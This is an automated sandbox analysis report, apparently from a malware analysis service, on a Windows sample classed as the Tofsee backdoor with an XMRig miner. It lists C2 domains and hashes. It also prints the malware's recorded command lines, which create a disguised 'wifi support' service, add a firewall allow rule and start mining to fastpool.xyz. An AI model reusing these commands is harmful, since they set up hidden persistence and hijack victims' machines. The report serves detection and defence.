Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/10/2022, 04:30

General

  • Target
    file.exe
  • Size 224KB
  • Sample221023-e4tm8sgdb7
  • SHA256 93cb6387960fe0d51bccdba51fb2a418140c99a8f2055525bd16e2e5719e191a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1368
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dasjqart\
      2⤵
        PID:4892
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ztjadben.exe" C:\Windows\SysWOW64\dasjqart\
        2⤵
          PID:3996
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dasjqart binPath= "C:\Windows\SysWOW64\dasjqart\ztjadben.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1592
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dasjqart "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1680
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dasjqart
          2⤵
          • Launches sc.exe
          PID:3564
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4972
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1224
          2⤵
          • Program crash
          PID:4976
      • C:\Windows\SysWOW64\dasjqart\ztjadben.exe
        C:\Windows\SysWOW64\dasjqart\ztjadben.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3852
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2716
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2720
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3852 -s 544
          2⤵
          • Program crash
          PID:4596
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 1368 -ip 1368
        1⤵
          PID:3452
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3852 -ip 3852
          1⤵
            PID:4632

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                ztjadben.exe

                • Path C:\Users\Admin\AppData\Local\Temp\ztjadben.exe
                • Size 13.5MB
                • SHA256 a076b17589b00dfb6afe6c04042b6dc2ad36338dc23b8f24240d81fbfb2d2770
                • MD5 SHA1 SHA512 SSDEEP

                ztjadben.exe

                • Path C:\Windows\SysWOW64\dasjqart\ztjadben.exe
                • Size 13.5MB
                • SHA256 a076b17589b00dfb6afe6c04042b6dc2ad36338dc23b8f24240d81fbfb2d2770
                • MD5 SHA1 SHA512 SSDEEP

                memory/1368-133-0x0000000002D40000-0x0000000002D53000-memory.dmp

                memory/1368-132-0x0000000002E53000-0x0000000002E69000-memory.dmp

                memory/1368-135-0x0000000000400000-0x0000000002C26000-memory.dmp

                memory/1368-144-0x0000000000400000-0x0000000002C26000-memory.dmp

                memory/1368-143-0x0000000002E53000-0x0000000002E69000-memory.dmp

                memory/2716-146-0x0000000000600000-0x0000000000615000-memory.dmp

                memory/2716-162-0x00000000019E0000-0x00000000019E5000-memory.dmp

                memory/2716-168-0x00000000019F0000-0x00000000019F7000-memory.dmp

                memory/2716-165-0x0000000007200000-0x000000000760B000-memory.dmp

                memory/2716-159-0x00000000007F0000-0x0000000000800000-memory.dmp

                memory/2716-156-0x00000000007E0000-0x00000000007E6000-memory.dmp

                memory/2716-150-0x0000000000600000-0x0000000000615000-memory.dmp

                memory/2716-153-0x0000000002200000-0x000000000240F000-memory.dmp

                memory/2716-152-0x0000000000600000-0x0000000000615000-memory.dmp

                memory/2720-172-0x0000000000C00000-0x0000000000CF1000-memory.dmp

                memory/2720-177-0x0000000000C00000-0x0000000000CF1000-memory.dmp

                memory/3852-151-0x0000000000400000-0x0000000002C26000-memory.dmp

                memory/3852-149-0x0000000002D6E000-0x0000000002D83000-memory.dmp